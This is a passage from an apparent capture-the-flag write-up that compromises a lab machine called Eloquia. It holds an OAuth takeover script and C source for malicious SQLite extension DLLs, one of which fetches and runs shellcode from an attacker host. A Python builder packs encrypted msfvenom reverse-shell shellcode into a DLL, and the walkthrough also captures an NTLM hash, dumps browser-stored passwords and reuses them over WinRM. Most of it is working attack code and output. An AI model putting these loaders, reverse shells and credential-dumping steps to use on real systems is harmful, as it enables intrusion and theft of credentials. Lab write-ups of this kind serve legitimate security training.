            }
        )
    async def Main(self):
        token = "2tbwk7T9quc0YjiV9MIxVisFZO88wbMsAaAZarUMR1xwBQVEGlNiRt4IiPf5TOs4"
        data = {
            "csrfmiddlewaretoken": token,
            "title": "Blablabla",
            "content": f'<meta http-equiv="refresh" content="0;url=//10.10.xx.xx:5000/redirect">'
        }

        files = {"banner": ('pwned2.jpg', open('/home/user/Downloads/HTB/Eloquia/pwned2.jpg', 'rb'), 'image/jpeg')}

        resp = await self.client.post('/article/create/', data=data, files=files)

        id = resp.headers["Location"].split("/")[-2]

        await self.client.get(f'/article/report/{id}/')

solution = Solve(
    url='http://eloquia.htb/'
)
asyncio.run(solution.Main())

Click on Connected Accounts then select Qooqle and click on Change:

Don’t click on Authorize button.

Grab our client_id:

Grab our csrfmiddlewaretoken:

Grab also our csrftoken and sessionid:

Then put them in our flask app server.py:

$ cat server.py 
from flask import Flask, redirect, request
import requests

app = Flask(__name__)

@app.route("/redirect")
def dynamic_redirect():
    data = {
        "csrfmiddlewaretoken": "5iXcB8QvmGjxAprEGJFhrH89rVmQAp7pPhb4yqJBDYsVUc1XhUKHskhoAxwrOhNB",
        "redirect_uri": "http://eloquia.htb/accounts/oauth2/qooqle/callback/",
        "scope": "read write",
        "nonce": "",
        "client_id": "riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi",
        "state": "",
        "response_type": "code",
        "code_challenge": "",
        "code_challenge_method": "",
        "claims": "",
        "allow": "Authorize"
    }
    cookies = {
        "csrftoken": "U9o27s3grsjyuXKtLlfAbNjpjMkLo2Qm", "sessionid": "h7t8wfccml7u8bmor4agp0tu2cwaezxv"
    }
    resp = requests.post('http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/', data=data, cookies=cookies, allow_redirects=False)
    url = resp.headers["Location"]
    return redirect(url, code=302)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

Start our server then start our solve:

$ python3 server.py
 * Serving Flask app 'server'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://192.168.3.27:5000
Press CTRL+C to quit
 * Restarting with watchdog (inotify)
 * Debugger is active!
 * Debugger PIN: 125-184-361
$ python3 solve.py        
13:58:08 - INFO - HTTP Request: POST http://eloquia.htb/article/create/ "HTTP/1.1 302 Found"
13:58:10 - INFO - HTTP Request: GET http://eloquia.htb/article/report/16/ "HTTP/1.1 302 Found"

Waiting between 3 to 5 min to obtain a callback to our server:

Press CTRL+C to quit
 * Restarting with watchdog (inotify)
 * Debugger is active!
 * Debugger PIN: 125-184-361
10.129.xx.xx - - [14/Dec/2025 14:01:06] "GET /redirect HTTP/1.1" 302 -

When we receive the callback then logout our current Eloquia user then login again using Qooqle SSO:

Then we are Admin now:

We have access to the Admin panel:

Found an interesting link to SQL Explorer (http://eloquia.htb/dev/sql-explorer/).

Hash cracking

First thing is to identify what kind of DB is used.

We check the Database connection but we found only Django Connection.

We try some SQL query to identity the version manually:

  • MSSQL:
SELECT @@VERSION;

Failed.

  • SQLite:
SELECT sqlite_version();

SQLite v3.45.1

Tables list:

SELECT name FROM sqlite_master WHERE type='table';

Users list:

SELECT * FROM Eloquia_customuser;

Try to crack them but failed.

SQL Load_extension RCE via malicious DLL (web) (user)

Following this post Stackoverflow - Test if loading extensions is enabled in sqlite3,

We can use this query to check if extension loading is disabled:

  • return 1 if the loading extension is disabled
  • return 0 if the loading extension is enabled
SELECT sqlite_compileoption_used('OMIT_LOAD_EXTENSION');
0

So we can load any extension, that can be a good exploit way…

Let try to grash a hash:

  • Start a Responder:
$ sudo responder -I tun0
  • SQL query:
select load_extension("\\10.10.xx.xx\notexists")

Got the MTLM Hash of web:

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.xx.xx
[SMB] NTLMv2-SSP Username : ELOQUIA\web
[SMB] NTLMv2-SSP Hash     : web::ELOQUIA:afa399eaad6df661:97B47285E3858A64201F05EC7129A4B0:01010000000000000010F4DACB71DC01EE42D4634011B22D0000000002000800440035004F00380001001E00570049004E002D004E004F0037004E004D0055005300590035003200450004003400570049004E002D004E004F0037004E004D005500530059003500320045002E00440035004F0038002E004C004F00430041004C0003001400440035004F0038002E004C004F00430041004C0005001400440035004F0038002E004C004F00430041004C00070008000010F4DACB71DC0106000400020000000800300030000000000000000000000000200000E328D8C15B20EFADD53A139DBF862DEB12083D99A8FADB8B141F105E846DE7770A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003100330031000000000000000000

Try to crack it but failed.

Following the above post, SQLite’s load_extension() function can load arbitrary DLLs. To be execute correctly, the DLL must export a function named sqlite3_<name>_init.

Let’s try with a sample:

$ cat test.c
#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) int sqlite3_test_init(void *db, char **error, void *api) {
    system("whoami > C:\\Web\\Eloquia\\static\\assets\\images\\blog\\test.txt 2>&1");
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID p) { return TRUE; }

Compile it:

$ x86_64-w64-mingw32-gcc -shared -o test.dll test.c -ladvapi32 -lcrypt32 -s -Os -fno-ident -fno-asynchronous-unwind-tables -ffunction-sections -fdata-sections
  1. First try with a remote access:

Set a SMB server:

$ smbserver.py -smb2support share .                      
Impacket v0.14.0.dev0+20251204.163933.2347bd3f - Copyright Fortra, LLC and its affiliated companies

Then try to call our DLL:

Hummm …

  1. Second try with a local access:

Upload it via Add Article (in the banner image):

Click on it to find the location:

Located at http://eloquia.htb/static/assets/images/blog/test.dll

Then go to SQL Explorer to execute our malicious DLL via SQL load extension via Save & Run:

select load_extension('static/assets/images/blog/test.dll')

Check if all is good:

Exploitation with the POC is confirmed.

  1. Third try for a fast way to grab the user flag:
$ cat grab_userflag.c
#include <windows.h>

__declspec(dllexport) int sqlite3_extension_init() {
    system("cmd /c type \"C:\\Users\\web\\Desktop\\user.txt\" > static\\assets\\images\\blog\\flag.txt");
    return 0;
}

Compile it:

$ x86_64-w64-mingw32-gcc -shared -o grab_userflag.dll grab_userflag.c -ladvapi32 -lcrypt32 -s -Os -fno-ident -fno-asynchronous-unwind-tables -ffunction-sections -fdata-sections

Then process than for the 2nd try, uploading it in the image of an article then execute the SQL query:

select load_extension('static/assets/images/blog/grab_userflag.dll')

Way 1 - craft DLL using a Loader to custom Adaptix C2 shellcode

Now we will work to obtain a shell on this server as web.

Compile and install Adaptix C2 then we set a listener, generate a shellcode then modify it a bit.

Set a local web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Craft our malicious DLL:

$ cat loader.c  
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib,"wininet")

int callme(void);

typedef void (*fp) (void);

__declspec(dllexport) int sqlite3_extension_init(
    void *db,
    char **pzErrMsg,
    void *pApi
){
    callme();
    return 0;
}

int callme() {
    HINTERNET hInternet, hConnect;
    const char* url = "http://10.10.xx.xx/c2.bin";

    // Initialize WinINet
    hInternet = InternetOpenA("HTTP Download", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        return -1;
    }

    // Open the connection
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        InternetCloseHandle(hInternet);
        return -1;
    }
    
    // Download shellcode
    char* CommitBuffer = NULL;
    int HTTPBufferSize = 1024 * 1024;  // 1MB Buffer
    char* HTTPTMPbuffer = (char *)malloc(HTTPBufferSize * sizeof(char));

    DWORD realFileSize = 0;
    DWORD bytesRead = 0;
    DWORD ReadTimes = 0;
    while (InternetReadFile(hConnect, HTTPTMPbuffer,HTTPBufferSize, &bytesRead) && bytesRead > 0) {
        realFileSize += bytesRead;
        printf(".");

        if (ReadTimes == 0) {
            CommitBuffer = (char*)malloc(HTTPBufferSize * sizeof(char));
            memcpy(CommitBuffer, HTTPTMPbuffer, bytesRead);
        } else {
            char* tmpBuffer =  (char*)malloc( (HTTPBufferSize * sizeof(char)) * ReadTimes + bytesRead);
            memcpy(tmpBuffer, CommitBuffer, (HTTPBufferSize * sizeof(char)) * ReadTimes);
            memcpy(tmpBuffer + (HTTPBufferSize * sizeof(char)) * ReadTimes, HTTPTMPbuffer, bytesRead);
            free(CommitBuffer);
            CommitBuffer = tmpBuffer;
        }

        ReadTimes++; 
    }

    char* buffer = NULL;
    buffer = (char*)VirtualAlloc(NULL,realFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(buffer, CommitBuffer, realFileSize);
    free(CommitBuffer);
    if (buffer != NULL)
    {
        fp loaded_shell = (fp)buffer;
        loaded_shell();

        VirtualFree(buffer, 0, MEM_RELEASE);
        return 0;
    }

    // Cleanup
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return 0;
}

Compile it:

$ x86_64-w64-mingw32-gcc -shared -o callme.dll loader.c -ladvapi32 -lwininet

Upload it:

Execute it via SQL query as usual:

select load_extension('static/assets/images/blog/callme.dll')

We obtain our call to our C2 server then we have now our shell as web:

Switch to interactive session:

[20/12 17:30:26] admin [89d77097] beacon > interact
[20/12 17:30:26] [*] Task: sleep to 0
[20/12 17:30:28] [*] Agent called server, sent [24 bytes]
[20/12 17:30:29] [+] Sleep time has been changed

Way 2 - craft DLL using custom msfvenom shellcode

Craft our malicious DLL:

$ cat craft_sql_extension.py
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path

# Configuration
LHOST = "10.10.xx.xx"
LPORT = "443"
DLL_NAME = "bad"  # Will create bad.dll, function will be sqlite3_bad_init

print(f"[*] Generating shellcode for {LHOST}:{LPORT}")

# Generate shellcode with msfvenom
shellcode_raw = subprocess.check_output([
    'msfvenom', '-p', 'windows/x64/shell_reverse_tcp',
    f'LHOST={LHOST}', f'LPORT={LPORT}',
    '-f', 'raw', '-o', '/dev/stdout'
], stderr=subprocess.DEVNULL)

print(f"[+] Shellcode size: {len(shellcode_raw)} bytes")

# Generate random AES key and IV
aes_key = os.urandom(32)
aes_iv = os.urandom(16)

# Encrypt shellcode
Path('sc.bin').write_bytes(shellcode_raw)
subprocess.run([
    'openssl', 'enc', '-aes-256-cbc', '-nosalt',
    '-K', aes_key.hex(),
    '-iv', aes_iv.hex(),
    '-in', 'sc.bin',
    '-out', 'sc.enc'
], check=True)

enc_data = Path('sc.enc').read_bytes()
print(f"[+] Encrypted size: {len(enc_data)} bytes")

# Format arrays for C
def format_c_array(data, name, type_name="unsigned char"):
    lines = [f"static {type_name} {name}[{len(data)}] = {{"]
    for i in range(0, len(data), 16):
        chunk = ', '.join(f'0x{b:02x}' for b in data[i:i+16])
        suffix = ',' if i + 16 < len(data) else ''
        lines.append(f"    {chunk}{suffix}")
    lines.append('};')
    return '\n'.join(lines)

key_arr = ', '.join(f'0x{b:02x}' for b in aes_key)
iv_arr = ', '.join(f'0x{b:02x}' for b in aes_iv)
enc_arr = format_c_array(enc_data, 'enc')

# C Source - No sqlite3ext.h needed
source = f'''#include <windows.h>
#include <wincrypt.h>

#pragma comment(lib, "advapi32.lib")

static BYTE k[32] = {{ {key_arr} }};
static BYTE i[16] = {{ {iv_arr} }};

{enc_arr}

static void r() {{
    HCRYPTPROV hp = 0;
    HCRYPTKEY hk = 0;
    
    if (!CryptAcquireContextA(&hp, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
        return;

    struct {{ BLOBHEADER h; DWORD l; BYTE k[32]; }} kb;
    kb.h.bType = PLAINTEXTKEYBLOB;
    kb.h.bVersion = CUR_BLOB_VERSION;
    kb.h.reserved = 0;
    kb.h.aiKeyAlg = CALG_AES_256;
    kb.l = 32;
    memcpy(kb.k, k, 32);

    if (!CryptImportKey(hp, (BYTE*)&kb, sizeof(kb), 0, 0, &hk))
        goto c;

    DWORD m = CRYPT_MODE_CBC;
    CryptSetKeyParam(hk, KP_MODE, (BYTE*)&m, 0);
    CryptSetKeyParam(hk, KP_IV, i, 0);

    DWORD sz = sizeof(enc);
    PBYTE buf = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sz);
    memcpy(buf, enc, sz);

    if (!CryptDecrypt(hk, 0, TRUE, 0, buf, &sz)) {{
        HeapFree(GetProcessHeap(), 0, buf);
        goto c;
    }}

    LPVOID x = VirtualAlloc(NULL, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (x) {{
        memcpy(x, buf, sz);
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)x, NULL, 0, NULL);
    }}
    HeapFree(GetProcessHeap(), 0, buf);

c:
    if (hk) CryptDestroyKey(hk);
    if (hp) CryptReleaseContext(hp, 0);
}}

__declspec(dllexport) int sqlite3_{DLL_NAME}_init(void *db, char **e, void *api) {{
    r();
    return 0;
}}

BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID p) {{
    if (reason == DLL_PROCESS_ATTACH) {{
        // Optional: execute on load
        // r();
    }}
    return TRUE;
}}
'''

# Write source
src_file = Path(f'{DLL_NAME}.c')
src_file.write_text(source)
print(f"[+] Wrote {src_file}")

# Compile
dll_file = f'{DLL_NAME}.dll'
compile_cmd = [
    'x86_64-w64-mingw32-gcc',
    '-shared', '-o', dll_file, str(src_file),
    '-ladvapi32', '-lcrypt32',
    '-s', '-Os',
    '-fno-ident',
    '-fno-asynchronous-unwind-tables',
    '-ffunction-sections',
    '-fdata-sections',
    '-Wl,--gc-sections'
]

print(f"[*] Compiling...")
result = subprocess.run(compile_cmd, capture_output=True, text=True)

if result.returncode != 0:
    print(f"[-] Compile error: {result.stderr}")
    sys.exit(1)

print(f"[+] Created {dll_file}")

# Cleanup
Path('sc.bin').unlink(missing_ok=True)
Path('sc.enc').unlink(missing_ok=True)

# File size
dll_size = Path(dll_file).stat().st_size
print(f"[+] DLL size: {dll_size} bytes")
$ python3 craft_sql_extension.py 
[*] Generating shellcode for 10.10.xx.xx:443
[+] Shellcode size: 460 bytes
[+] Encrypted size: 464 bytes
[+] Wrote bad.c
[*] Compiling...
[+] Created bad.dll
[+] DLL size: 12800 bytes

Set our Penelope listener:

$ penelope -i tun0 -p 443 
[+] Listening for reverse shells on 10.10.xx.xx:443 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Upload our malicious DLL:

Click on it to find the location:

Located at http://eloquia.htb/static/assets/images/blog/bad.dll

Then go to SQL Explorer to execute our malicious DLL via SQL load extension:

select load_extension('static\assets\images\blog\bad.dll')

We got our shell as web:

[+] Got reverse shell from ELOQUIA~10.129.xx.xx-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍️ Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
C:\Web\Eloquia>

Lateral movement

MS Edge credentials dumping (Olivia.KAT)

We start with the enumeration:

[20/12 18:04:19] admin [fc65670d] beacon > dir c:\users
Contents of c:\users\*:
	04/20/2024 11:50           <dir> .
	04/20/2024 11:50           <dir> ..
	11/28/2025 10:21           <dir> Administrator
	09/15/2018 00:28      <junction> All Users
	04/15/2024 21:23           <dir> Default
	09/15/2018 00:28      <junction> Default User
	09/15/2018 00:16             174 desktop.ini
	04/20/2024 11:50           <dir> Olivia.KAT
	04/15/2024 21:26           <dir> Public
	10/22/2025 13:31           <dir> web
	                             174 Total File Size for 1 File(s)
	                                                      9 Dir(s)

Seems the next stage is to move to Olivia.KAT then to escalate to Administrator.

[20/12 17:53:21] admin [5952529e] beacon > dir C:\Users\web\AppData
Contents of C:\Users\web\AppData\*:
	04/16/2024 09:16           <dir> .
	04/16/2024 09:16           <dir> ..
	10/20/2025 12:26           <dir> Local
	04/20/2025 12:29           <dir> LocalLow
	04/19/2024 17:53           <dir> Roaming
	                               0 Total File Size for 0 File(s)
	                                                      5 Dir(s)
[20/12 17:56:14] admin [697735cb] beacon > dir C:\Users\web\AppData\Local\Microsoft
Contents of C:\Users\web\AppData\Local\Microsoft\*:
	04/20/2025 20:24           <dir> .
	04/20/2025 20:24           <dir> ..
	10/21/2025 14:23           <dir> Credentials
	04/20/2024 12:10           <dir> Edge
	04/19/2024 17:53           <dir> Feeds
	04/19/2024 17:53           <dir> Feeds Cache
	04/19/2024 17:53           <dir> input
	09/15/2018 00:19           <dir> InputPersonalization
	10/21/2025 14:23           <dir> Internet Explorer
	04/19/2024 17:53           <dir> Media Player
	04/20/2025 20:24           <dir> PenWorkspace
	04/19/2024 17:53           <dir> PlayReady
	04/20/2024 12:11           <dir> TokenBroker
	04/20/2024 12:10           <dir> Vault
	04/20/2025 12:29           <dir> Windows
	09/15/2018 00:19           <dir> Windows Sidebar
	09/15/2018 00:19           <dir> WindowsApps
	                               0 Total File Size for 0 File(s)
	                                                     17 Dir(s)

Interesting Edge folder, let’s check if we can grab some creds.

[20/12 17:54:54] admin [7801f96a] beacon > dir "C:\Users\web\AppData\Local\Microsoft\Edge\User Data"
Contents of C:\Users\web\AppData\Local\Microsoft\Edge\User Data\*:
	10/22/2025 11:54           <dir> .
	10/22/2025 11:54           <dir> ..
	04/20/2024 12:11           <dir> Autofill
	04/20/2024 12:11           <dir> AutoLaunchProtocolsComponent
	10/21/2025 14:31           <dir> BrowserMetrics
	10/21/2025 14:32         4194304 BrowserMetrics-spare.pma
	04/20/2024 12:11           <dir> CertificateRevocation
	04/20/2024 12:10           <dir> Crashpad
	10/22/2025 11:54           <dir> Default
	04/20/2024 12:11           <dir> EADPData Component
	04/20/2024 12:11           <dir> Edge Designer
	04/20/2024 12:11           <dir> Edge Notifications
	04/20/2024 12:11           <dir> Edge Shopping
	04/20/2024 12:11           <dir> Edge Tipping
	04/20/2024 12:11           <dir> Edge Travel
	04/20/2024 12:11           <dir> Edge Wallet
	04/20/2024 12:11           <dir> EdgeOnnxRuntimeDirectML
	04/20/2024 12:11               0 First Run
	04/20/2024 12:11               0 FirstLaunchAfterInstallation
	04/20/2024 12:11           <dir> FirstPartySetsPreloaded
	10/21/2025 14:30           49152 first_party_sets.db
	10/21/2025 14:30               0 first_party_sets.db-journal
	04/20/2024 12:11            4096 Functional SAN Data
	10/21/2025 14:31           61832 Functional SAN Data-wal
	04/20/2024 12:11           <dir> GraphiteDawnCache
	04/20/2024 12:11           <dir> GrShaderCache
	04/20/2024 12:11           <dir> hyphen-data
	10/21/2025 14:30             120 Last Browser
	10/21/2025 14:30              13 Last Version
	10/22/2025 11:54           57640 Local State
	04/20/2024 12:11           <dir> Nurturing
	04/20/2024 12:11           <dir> OriginTrials
	04/20/2024 12:11           <dir> PKIMetadata
	04/20/2024 12:11           <dir> RecoveryImproved
	04/20/2024 12:11           <dir> Safe Browsing
	04/20/2024 12:11           <dir> SafetyTips
	04/20/2024 12:11           <dir> ShaderCache
	04/20/2024 12:11           <dir> SmartScreen
	04/20/2024 12:11           <dir> Speech Recognition
	04/20/2024 12:11           <dir> Subresource Filter
	04/20/2024 12:11           <dir> Trust Protection Lists
	04/20/2024 12:11           <dir> TrustTokenKeyCommitments
	04/20/2024 12:11           <dir> Typosquatting
	10/22/2025 11:54              85 Variations
	04/20/2024 12:11           <dir> Web Notifications Deny List
	04/20/2024 12:11           <dir> WidevineCdm
	04/20/2024 12:11           <dir> WorkspacesNavigationComponent
	04/20/2024 12:11           <dir> ZxcvbnData
	                         4367242 Total File Size for 11 File(s)
	                                                     37 Dir(s)
[20/12 17:57:48] admin [4da05593] beacon > dir "C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
Contents of C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data:
	10/22/2025 11:54           51200 Login Data
	                           51200 Total File Size for 1 File(s)
	                                                      0 Dir(s)

Found:

  • The folder of Local State (containing the encryption key)
  • The folder Login Data (containing the credentials database).

Let’s try to decrypt and grab them using Cookie-Monster extension:

[20/12 18:06:51] admin [3b151230] beacon > cookie-monster -b msedge
===== Going for browser msedge =====
[+] Appending local app data path
[+] LOOKING FOR FILE: C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State
[+] -> Decrypted Master Key: \xc7\xf1\xad\x7b\x07\x99\x47\xb4\xbb\x1d\xc5\x3b\x87\x40\x44\x06\x51\xb6\xc9\xf5\xca\xf7\xfd\x9a\x18\xbb\xec\xe5\x7c\x7b\xd4\x44
[+] Looking for msedge Data
[!] msedge not found running on host -> Downloading cookies directly from EdgeCookies.db
[+] Appending local app data path
[+] LOOKING FOR FILE: C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
[+] The file was downloaded filessly
[+] Appending local app data path
[+] LOOKING FOR FILE: C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
[+] The file was downloaded filessly
==============================

OR using SharpChrome:

[20/12 18:43:02] admin [bc530c2d] beacon > execute-assembly ~/Downloads/HTB/Eloquia/SharpChrome.exe logins /browser:edge

  __                 _                     
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _      
 __) | | (_| |  |_) \_ | | | (_) | | | (/_     
                |                              
  v1.12.0                               


[*] Action: Edge Saved Logins Triage


[*] Triaging Edge Logins for current user


[*] AES state key file : C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State
[*] AES state key      : C7F1AD7B079947B4BB1DC53B8740440651B6C9F5CAF7FD9A18BBECE57C7BD444

[X] Error : 0

---  Credential (Path: C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data) ---

file_path,signon_realm,origin_url,date_created,times_used,username,password
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data,https://openai.com/,https://openai.com/,4/20/2024 12:29:04 PM,13358114944404661,olivia.kat,#%aD??0&?$X@?{.d??
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data,http://eloquia.htb/,http://eloquia.htb/accounts/login/,10/21/2025 2:32:34 PM,13405555954219039,Olivia.KAT,S3cureP@sswdIGu3ss
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data,https://eloquia.htb/,https://eloquia.htb/,10/21/2025 2:37:15 PM,13405556235822862,test,testtest1234!
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data,https://chatgpt.com/,https://chatgpt.com/,10/22/2025 11:54:34 AM,13405632874452328,olivia.kat,S3cureP@sswd3Openai

OR using SharpChromium:

[20/12 18:49:04] admin [182d8607] beacon > execute-assembly ~/Downloads/HTB/Eloquia/SharpChromium.exe logins
[*] Beginning Edge extraction.

--- Chromium Credential (User: web) ---
URL      : 
Username : olivia.kat
Password : #%aD??0&?$X@?{.d??

--- Chromium Credential (User: web) ---
URL      : http://eloquia.htb/accounts/login/
Username : Olivia.KAT
Password : S3cureP@sswdIGu3ss

--- Chromium Credential (User: web) ---
URL      : 
Username : test
Password : testtest1234!

--- Chromium Credential (User: web) ---
URL      : 
Username : olivia.kat
Password : S3cureP@sswd3Openai

[*] Finished Edge extraction.

[*] Done.

Found Olivia.KAT:S3cureP@sswdIGu3ss.

We can access to the server via WinRM:

$ python3 winrmexec/evil_winrmexec.py 'eloquia.htb/Olivia.KAT:S3cureP@sswdIGu3ss@eloquia.htb'
PS C:\Users\Olivia.KAT\Documents>

Privilege escalation (root)

Way 1 - DLL Hijacking

Check the privileges:

PS C:\Users\Olivia.KAT\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Standard user.

We enumerate:

PS C:\Users\Olivia.KAT\Documents> ls
PS C:\Users\Olivia.KAT\Documents> cd ..
PS C:\Users\Olivia.KAT> ls Desktop


    Directory: C:\Users\Olivia.KAT\Desktop


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----        4/30/2024   1:53 PM           1558 Failure2Ban - Prototype - Shortcut.lnk                                 
-a----         5/6/2024   2:00 PM        1331957 Logfile.PML                                                            
-a----        4/22/2024   7:02 AM            362 Todo.txt                                                               


PS C:\Users\Olivia.KAT> type Desktop\"Failure2Ban - Prototype - Shortcut.lnk"
LÀF„T´=›Ú—‡P#?›Ú—‡P#?›Ú£PàOÐ ê:i¢+00p1žX¥QOOQLE~1X	ï¾–XäfžX¥.¦jy
kyQooqle IPS Softwarex1žX‚¥FAILUR~1`	゙X9¤žX‚¥.u$iºFailure2Ban - Prototypek-jl5ŽÊC:\Program Files\Qooqle IPS Software\Failure2Ban - PrototypeB..\..\..\Program Files\Qooqle IPS Software\Failure2Ban - Prototype &¹
                                               ¶c^␦¹` Xeloquiaà¼KÅöK¡XJhËYÓY:'ï°'1ÚÎà¼KÅöK¡XJhËYÓY:'ï°'1ÚΤ	 }1SPSí0½ÚC‰G§øÐ¤sf"ad'Qooqle IPS Software (C:\Program Files)‰1SPSâŠXF¼L8C»ü“&˜mÎm-S-1-5-21-1842486011-416502281-2506894253-500°1SPS0ñ%·ïG␦¥ñ`Œžë¬A                                                pH§H@.¤=xŒhH	?ö·`"
PS C:\Users\Olivia.KAT> type Desktop\Todo.txt
[X] implement App.config file
[X] implement file type filtering
[] read firewall rules on service start
[] implement malicious input detection algorithm
[] avoid reading the whole "log" file on every service recall
-------------------------------
Problem: service is eating the CPU at huge log file size
Solution(temporary): Log rotation & service restart

Found:

  • C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype
  • a Todo list
  • a service restart

We continue our enumeration:

PS C:\Program Files> dir


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        11/6/2025   1:41 PM                Automation Scripts                                                     
d-----         9/8/2025  12:04 AM                Common Files                                                           
d-----        10/8/2025   5:23 AM                IIS                                                                    
d-----       11/28/2025   7:16 AM                internet explorer                                                      
d-----        4/16/2024   8:53 AM                Python311                                                              
d-----        4/30/2024   1:40 PM                Qooqle IPS Software                                                    
d-----        10/8/2025   5:22 AM                Reference Assemblies                                                   
d-----         9/8/2025  12:05 AM                VMware                                                                 
d-r---         5/4/2024   9:32 AM                Windows Defender                                                       
d-----       11/28/2025   7:16 AM                Windows Defender Advanced Threat Protection                            
d-----        11/5/2022  12:03 PM                Windows Mail                                                           
d-----        4/26/2025  11:30 PM                Windows Media Player                                                   
d-----       11/28/2025   7:16 AM                Windows Multimedia Platform                                            
d-----        9/15/2018  12:28 AM                windows nt                                                             
d-----        11/5/2022  12:03 PM                Windows Photo Viewer                                                   
d-----       11/28/2025   7:16 AM                Windows Portable Devices                                               
d-----        9/15/2018  12:19 AM                Windows Security                                                       
d-----        9/15/2018  12:19 AM                WindowsPowerShell
PS C:\Program Files> dir "Automation Scripts"


    Directory: C:\Program Files\Automation Scripts


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----       10/21/2025   1:49 PM            250 eloquia.htb-runserver.bat                                              
-a----       10/28/2025  12:03 PM            369 FW-Cleaner.ps1                                                         
-a----        10/7/2025   3:41 AM             86 qooqle.htb-runserver.bat                                               
-a----         5/2/2025   8:35 AM           1608 seleniumSimulator.py                                                   
-a----        11/6/2025   1:41 PM            364 update-hosts.ps1   

Found some automation scripts.

PS C:\Program Files\Automation Scripts> cat seleniumSimulator.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.keys import Keys
import time
import requests
from bs4 import BeautifulSoup

session = requests.Session()

login_url = "http://eloquia.htb/accounts/login/"
response = session.get(login_url)

soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"]

payload = {
    "username": "admin",
    "password": "MyEl0qu!@Admin",
    "csrfmiddlewaretoken": csrf_token
    }

post_response = session.post(
    login_url,
    data=payload
    )

session_cookie = session.cookies.get("sessionid")

# Create a new instance of the Chrome driver
chrome_options = Options()
chrome_options.add_argument('--headless')
driver = webdriver.Chrome(options=chrome_options)

response = requests.get("http://eloquia.htb/api/get/reported_articles/")
driver.get(f"http://eloquia.htb/api/get/reported_articles/") # just to set the domain cookie
driver.add_cookie({"name": "sessionid", "value": session_cookie})

for id in str(response.text).split('\n')[:-1]:
    driver.get(f"http://eloquia.htb/article/visit/{id}/")
    button = driver.find_element(by='name', value="report-article")
    button.send_keys(Keys.NULL)
    autofocus_elements = driver.find_elements(by='css selector', value='[autofocus]')
    for element in autofocus_elements:
        try:
            element.send_keys(Keys.NULL)
        except:
            pass

    # Wait for the XSS payload to execute (adjust the delay as needed)
    time.sleep(3)

# Close the browser
driver.quit()

Found the Eloquia.htb portal admin credentials: admin:MyEl0qu!@Admin.

PS C:\Program Files\Automation Scripts> type FW-Cleaner.ps1
$rules = Get-NetFirewallRule | Where-Object {$_.Direction -eq 'Inbound' -and $_.DisplayName -like 'Block IP*'}

foreach ($rule in $rules) {
    Remove-NetFirewallRule -Name $rule.Name
}

cmd /c "echo LOG FILE > C:\Web\Qooqle\log.csv"
Restart-Service Failure2Ban
rm "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\version.dll"

Found the script that restart the Failure2Ban services and also remove a DLL named version.dll … strange.

We download and review the PLogfile.PM file (ProcMon Log File) using ProcMon for Linux:

$ wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
$ sudo dpkg -i packages-microsoft-prod.deb
$ rm packages-microsoft-prod.deb
